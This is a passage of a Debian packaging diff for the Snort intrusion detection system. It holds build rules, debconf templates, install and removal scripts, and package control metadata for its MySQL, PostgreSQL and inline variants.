+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/rules.inline
+++ snort-2.7.0/debian/rules.inline
@@ -0,0 +1,244 @@
+#!/usr/bin/make -f
+#-*- makefile -*-
+# Made with the aid of dh_make, by Craig Small
+# Sample debian/rules that uses debhelper. GNU copyright 1997 by Joey Hess.
+# Some lines taken from debmake, by Christoph Lameter.
+
+export DH_VERBOSE=1
+
+TMP=`pwd`/debian
+
+CFLAGS:=-g -O2 -D_GNU_SOURCE
+
+ifneq (,$(findstring debug,$(DEB_BUILD_OPTIONS)))
+	CFLAGS += -g
+endif
+ifeq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS)))
+	INSTALL_PROGRAM += -s
+endif
+
+export CFLAGS
+
+CONFFLAGS= --prefix=/usr \
+	--bindir=\$$\{exec_prefix\}/sbin \
+	--mandir=\$$\{exec_prefix\}/share/man \
+	--enable-smbalerts 
+# Cannot enable flexresp since it builds only with libnet 1.0.2a
+#	--enable-flexresp \
+
+build-indep: build-indep-stamp
+build-indep-stamp:
+	dh_testdir
+	cd doc && make snort_manual.pdf
+
+build-mysql: build-mysql-stamp
+build-mysql-stamp:
+	dh_testdir
+	# MySQL package:
+	./configure $(CONFFLAGS) \
+		--with-mysql \
+		--without-postgresql
+	$(MAKE) 
+	mv src/snort src/snort-mysql
+	$(MAKE) clean
+
+build-pgsql: build-pgsql-stamp
+build-pgsql-stamp:
+	dh_testdir
+	# PostgreSQL package:
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--with-postgresql \
+		--with-pgsql-includes=`pg_config --includedir`
+	$(MAKE) 
+	mv src/snort src/snort-pgsql
+	$(MAKE) clean
+
+build-inline: build-inline-stamp
+build-inline-stamp:
+	dh_testdir
+	# Inline support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql \
+		--enable-inline \
+		--with-libipq-includes=/usr/include/libipq/ \
+		--enable-prelude 
+	# Add here commands to compile the package.
+	$(MAKE) 
+	mv src/snort src/snort-inline
+	$(MAKE) clean
+
+build: build-stamp
+build-stamp: build-pgsql build-mysql
+	dh_testdir
+
+	# Standard package support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql \
+		--enable-prelude 
+	$(MAKE) 
+	$(MAKE) clean
+
+	# Build the documentation
+	cd doc && $(MAKE) faq.pdf
+
+	touch build-stamp
+
+clean:
+	dh_testdir
+	dh_testroot
+	rm -f build*stamp install-stamp
+
+	# Add here commands to clean up after the build process.
+	-(cd doc && $(MAKE) distclean)
+	-$(MAKE) distclean
+	rm -f src/snort-mysql
+	rm -f src/snort-pgsql
+	rm -f src/snort-inline
+	rm -f doc/snort_manual.{pdf,ps,aux,log,toc}
+
+	dh_clean
+
+install: install-stamp
+install-stamp: build-stamp
+	dh_testdir
+	dh_testroot
+	dh_clean -k
+	dh_installdirs
+
+	# Add here commands to install the package into debian/tmp.
+	$(MAKE) install prefix=$(TMP)/snort-common/usr/
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-mysql/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-pgsql/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-inline/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort/etc/init.d/snort
+
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-mysql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-pgsql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-inline/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-mysql/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-pgsql/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-inline/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort/etc/ppp/ip-down.d/snort
+	rm -rf $(TMP)/snort-common/etc/ppp
+	
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-mysql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-pgsql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort/etc/snort/snort.common.parameters
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-mysql/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-pgsql/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-inline/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort/etc/default/snort
+
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-mysql/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-pgsql/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-inline/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort/etc/logrotate.d/snort
+
+	install -m 755 -o root -g root `pwd`/debian/snort.cron.daily $(TMP)/snort-common/etc/cron.daily/5snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort-stat $(TMP)/snort-common/usr/sbin/
+	install -m 644 -o root -g root `pwd`/etc/snort.conf $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/unicode.map $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/threshold.conf $(TMP)/snort-common/etc/snort/
+
+	cp rules/*.rules $(TMP)/snort-rules-default/etc/snort/rules/
+#	mkdir -p $(TMP)/snort-rules-default/usr/share/snort/
+#	install -m 644 -o root -g root `pwd`/debian/oldrules.md5 $(TMP)/snort-rules-default/usr/share/snort/oldrules.md5
+	
+	cp etc/sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/gen-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/community-sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/classification.config $(TMP)/snort-rules-default/etc/snort/
+	cp etc/reference.config $(TMP)/snort-rules-default/etc/snort/
+
+	mv src/snort-mysql $(TMP)/snort-mysql/usr/sbin/snort
+	mv src/snort-pgsql $(TMP)/snort-pgsql/usr/sbin/snort
+	mv src/snort	   $(TMP)/snort-inline/usr/sbin/snort
+
+	mv $(TMP)/snort-common/usr/sbin/snort $(TMP)/snort/usr/sbin/snort
+
+	touch install-stamp
+
+# Build architecture-independent files here.
+binary-indep: build build-indep install
+	dh_testdir -i
+	dh_testroot -i
+
+	dh_installdocs -i
+	dh_installexamples -i
+	dh_installdebconf -i
+	dh_installman -i 
+	# Other adjustments
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/CVS
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/contrib/CVS
+	chmod +x $(TMP)/snort-common/usr/share/doc/snort-doc/examples/snort*
+	cp -a doc/signatures/ $(TMP)/snort-doc/usr/share/doc/snort-doc/
+	rm -rf $(TMP)/snort-doc/usr/share/man
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	dh_undocumented -i
+	rm -rf $(TMP)/snort-common/usr/share/man/man8/snort.*
+	dh_installchangelogs -i ChangeLog
+	dh_link -i
+	dh_strip -i
+	dh_compress -i
+	dh_fixperms -i
+	dh_suidregister -i
+	dh_makeshlibs -i
+	dh_installdeb -i
+	dh_perl -i
+	dh_shlibdeps -i
+	dh_gencontrol -i
+	dh_md5sums -i
+	dh_builddeb -i
+
+# Build architecture-dependent files here.
+binary-arch: build install
+	dh_testdir -a
+	dh_testroot -a
+	dh_installdocs -a 
+	dh_installexamples -a
+	dh_installdebconf -a
+	dh_installman -a 
+	cp $(TMP)/snort-mysql/usr/share/doc/snort-mysql/copyright $(TMP)/snort/usr/share/doc/snort/
+	rm -f $(TMP)/snort-mysql/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-pgsql/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-inline/usr/share/man/man8/snort-stat.*
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	rm -f $(TMP)/snort/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-common/usr/share/man/man8/snort.*
+	
+	mkdir -p $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+	install -m 644 -o root -g root schemas/create_mysql $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+
+	mkdir -p $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+	install -m 644 -o root -g root schemas/create_postgresql $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+
+	dh_undocumented -a
+	dh_installchangelogs -a ChangeLog
+	dh_link -a
+	dh_strip -a
+	dh_compress -a
+	dh_fixperms -a
+	dh_suidregister -a
+	dh_makeshlibs -a
+	dh_installdeb -a
+	dh_perl -a
+	dh_shlibdeps -a
+	dh_gencontrol -a
+	dh_md5sums -a
+	dh_builddeb -a
+
+source diff:                                                                  
+	@echo >&2 'source and diff are obsolete - use dpkg-source -b'; false
+
+update-rules:
+	mv rules rules.old
+	wget -q -O ../snortrules-snapshot-2_2.tar.gz http://www.snort.org/dl/rules/snortrules-snapshot-2_2.tar.gz
+	tar -zxf ../snortrules-snapshot-2_2.tar.gz
+	if [ -d rules ] ; then mv rules.old/Makefile* rules/; rm -rf rules.old; fi
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary
--- snort-2.7.0.orig/debian/snort-mysql.ADD.templates
+++ snort-2.7.0/debian/snort-mysql.ADD.templates
@@ -0,0 +1,17 @@
+
+Template: snort-mysql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-mysql/
+  zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ MySQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.7.0.orig/debian/README.docs
+++ snort-2.7.0/debian/README.docs
@@ -0,0 +1,3 @@
+
+Please notice that additional documentation is available at
+http://www.snort.org/docs/
--- snort-2.7.0.orig/debian/clean_sources.sh
+++ snort-2.7.0/debian/clean_sources.sh
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+# Clean the sources
+make distclean
+# TODO: Consider adjusting SUBDIRS, so we do not remove the 
+# doc dir
+# Make sure the sources are removed (in case somebody removed the
+# main Makefile but did not distclean)
+(cd src &&  test -e Makefile && make distclean)
+
+# Remove the flag that indicated that the sources were configured
+-rm -f configure-stamp
+
+exit 0
--- snort-2.7.0.orig/debian/snort.debian.conf
+++ snort-2.7.0/debian/snort.debian.conf
@@ -0,0 +1,12 @@
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort(-flavour)?" to change them.
+#
+# Replace (-flavour)? by pgsql, mysql or keep it empty depending on
+# what flavour of Snort you run.
+#
+DEBIAN_SNORT_STARTUP=boot
+DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+DEBIAN_SNORT_OPTIONS="-i eth0"
+DEBIAN_SNORT_STATS_RCPT="root"
+DEBIAN_SNORT_STATS_THRESHOLD="1"
--- snort-2.7.0.orig/debian/snort-inline.config
+++ snort-2.7.0/debian/snort-inline.config
@@ -0,0 +1,117 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+[ -r /etc/snort/snort.debian.conf ] && . /etc/snort/snort.debian.conf
+
+INTERFACES=""
+
+check_interfaces() {
+# Check the interface status, abort with error if a configured one is not
+# available
+      [ -z "$INTERFACES" ] && return 0
+      ints=`echo $INTERFACES | sed -e  's/,/ /g'`
+      for iface in $ints; do
+	      if ! ifconfig "$iface" | grep -w UP >/dev/null; then
+		      return 1
+	     fi
+      done
+      return 0
+}
+
+db_input low snort-inline/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort is called with interface and IP number
+db_get snort-inline/startup
+if [ "$RET" = "dialup" ]; then
+  db_set snort-inline/interface ""
+  db_set snort-inline/address_range ""
+else
+  db_beginblock
+  # Interface default in case the configuration file does not exist
+  if [ -z "$DEBIAN_SNORT_INTERFACE" ] ; then
+  	INTERFACES=eth0
+  else 
+  	INTERFACES=$DEBIAN_SNORT_INTERFACE
+  fi
+
+  # Ask for a valid set of interfaces
+  ok=''
+  count=0
+  while [ ! "$ok" ] && [ "$count" -lt 2 ]; do
+  # Depending on whether the default interface is up or down we set the
+  # question priority
+        priority='medium'
+	if ! check_interfaces
+	then
+	    priority='high'
+	    db_fset snort-inline/interface seen false 
+	fi
+	set +e
+	db_input $priority snort-inline/interface
+        if [ $? -eq 30 ]; then
+	# User is not being shown the question, break out
+	     break
+	fi
+	set -e
+	db_go || true
+   # Check the interfaces
+	db_get snort-inline/interface
+	INTERFACES=$RET
+	if ! check_interfaces ; then
+	  db_fset snort-inline/invalid_interface seen false 
+	  db_input critical snort-inline/invalid_interface
+	else
+	  ok='yes'
+        fi
+	# Increment the count, we only go through this two times
+	count=$(($count+1))
+  done
+
+  db_input high snort-inline/address_range || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort-inline/reverse_order || true
+db_input low snort-inline/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort-inline/send_stats || true
+db_go
+
+db_get snort-inline/send_stats
+if [ $RET = true ]; then
+# TODO: This values should not be empty (even
+# if we default to 'root' and '1' in the scripts)
+# so the config script should check wether the 
+# values here are legitimate.
+	db_beginblock
+	db_input medium snort-inline/stats_rcpt || true
+	db_input low snort-inline/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_get snort-inline/startup
+if [ $RET = "manual" ]; then
+	db_beginblock
+	db_input medium snort-inline/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+	db_beginblock
+	db_input medium snort-inline/config_parameters || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.7.0.orig/debian/snort.templates
+++ snort-2.7.0/debian/snort.templates
@@ -0,0 +1,122 @@
+Template: snort/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort/reverse_order
+Type: boolean
+Default: false
+_Description: Should Snort's testing order be changed to Pass|Alert|Log?
+ Snort's default testing order is Alert|Pass|Log; if you accept this
+ option, the order will be changed to Pass|Alert|Log, which can make it
+ simpler to use Snort with some packet-filtering tools.
+
+Template: snort/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
--- snort-2.7.0.orig/debian/snort.manpages
+++ snort-2.7.0/debian/snort.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.7.0.orig/debian/snort-inline.postrm
+++ snort-2.7.0/debian/snort-inline.postrm
@@ -0,0 +1,63 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.7.0.orig/debian/snort.common.parameters
+++ snort-2.7.0/debian/snort.common.parameters
@@ -0,0 +1 @@
+-m 027 -D -l /var/log/snort -d -u snort -g snort
--- snort-2.7.0.orig/debian/snort-common.docs
+++ snort-2.7.0/debian/snort-common.docs
@@ -0,0 +1,4 @@
+RELEASE.NOTES
+RELEASE.NOTES.2.6
+RELEASE.NOTES.2.4
+RELEASE.NOTES.2.3
--- snort-2.7.0.orig/debian/control.inline
+++ snort-2.7.0/debian/control.inline
@@ -0,0 +1,145 @@
+Source: snort
+Section: net
+Priority: optional
+Maintainer: Javier Fernandez-Sanguino Pen~a <jfs@computer.org>
+Uploaders: Pascal Hakim <pasc@debian.org>
+Build-Depends: libnet1-dev, libpcap0.8-dev, libpcre3-dev, debhelper (>= 4.1.13), libmysqlclient15-dev | libmysqlclient-dev, libpq-dev, po-debconf (>= 0.5.0), texlive, texlive-latex-base, gs-common, libprelude-dev, iptables-dev
+Standards-Version: 3.5.6
+
+Package: snort
+Architecture: any
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort-mysql, snort-pgsql
+Replaces: snort-common (<< 2.0.2-3)
+Recommends: snort-doc
+Description: Flexible Network Intrusion Detection System
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This package provides the plain-vanilla snort distribution and does not
+ provide database (available in snort-pgsql and snort-mysql) or
+ inline (available in snort-inline) support.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-inline
+Provides: snort
+Architecture: any
+Priority: optional
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort, snort-mysql
+Description: Flexible Network Intrusion Detection System [Inline]
+ Distribution of Snort with inline support.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+
+Package: snort-common
+Architecture: all
+Pre-Depends: adduser (>= 3.11)
+Depends: perl-modules, debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}
+Conflicts: snort (<< ${Source-Version})
+Replaces: snort (<< 1.8.4beta1-1)
+Suggests: snort-doc
+Description: Flexible Network Intrusion Detection System [common files]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This is a common package which holds cron jobs, tools and config files used
+ by all Snort-based packages.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-doc
+Architecture: all
+Priority: optional
+Section: doc
+Description: Documentation for the Snort IDS [documentation]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-mysql
+Provides: snort
+Architecture: any
+Priority: extra
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort, snort-pgsql
+Description: Flexible Network Intrusion Detection System [MySQL]
+ Distribution of Snort with support for logging to a MySQL database.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-pgsql
+Provides: snort
+Architecture: any
+Priority: optional
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort, snort-mysql
+Description: Flexible Network Intrusion Detection System [PostgreSQL]
+ Distribution of Snort with support for logging to a PostgreSQL dbase.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-rules-default
+Provides: snort-rules
+Architecture: all
+Depends: debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}
+Suggests: snort (>= 2.2.0) | snort-pgsql (>= 2.2.0) | snort-mysql (>= 2.2.0)
+Recommends: oinkmaster
+Description: Flexible Network Intrusion Detection System ruleset
+ Snort default ruleset which provides a common set of accepted and test
+ network intrusion detection rules developed by the Snort community.
+ .
+ These rules can be used as a basis for development of additional rules.
+ .
+ Homepage: http://www.snort.org/rules/
+
--- snort-2.7.0.orig/debian/snort-pgsql.preinst
+++ snort-2.7.0/debian/snort-pgsql.preinst
@@ -0,0 +1,119 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
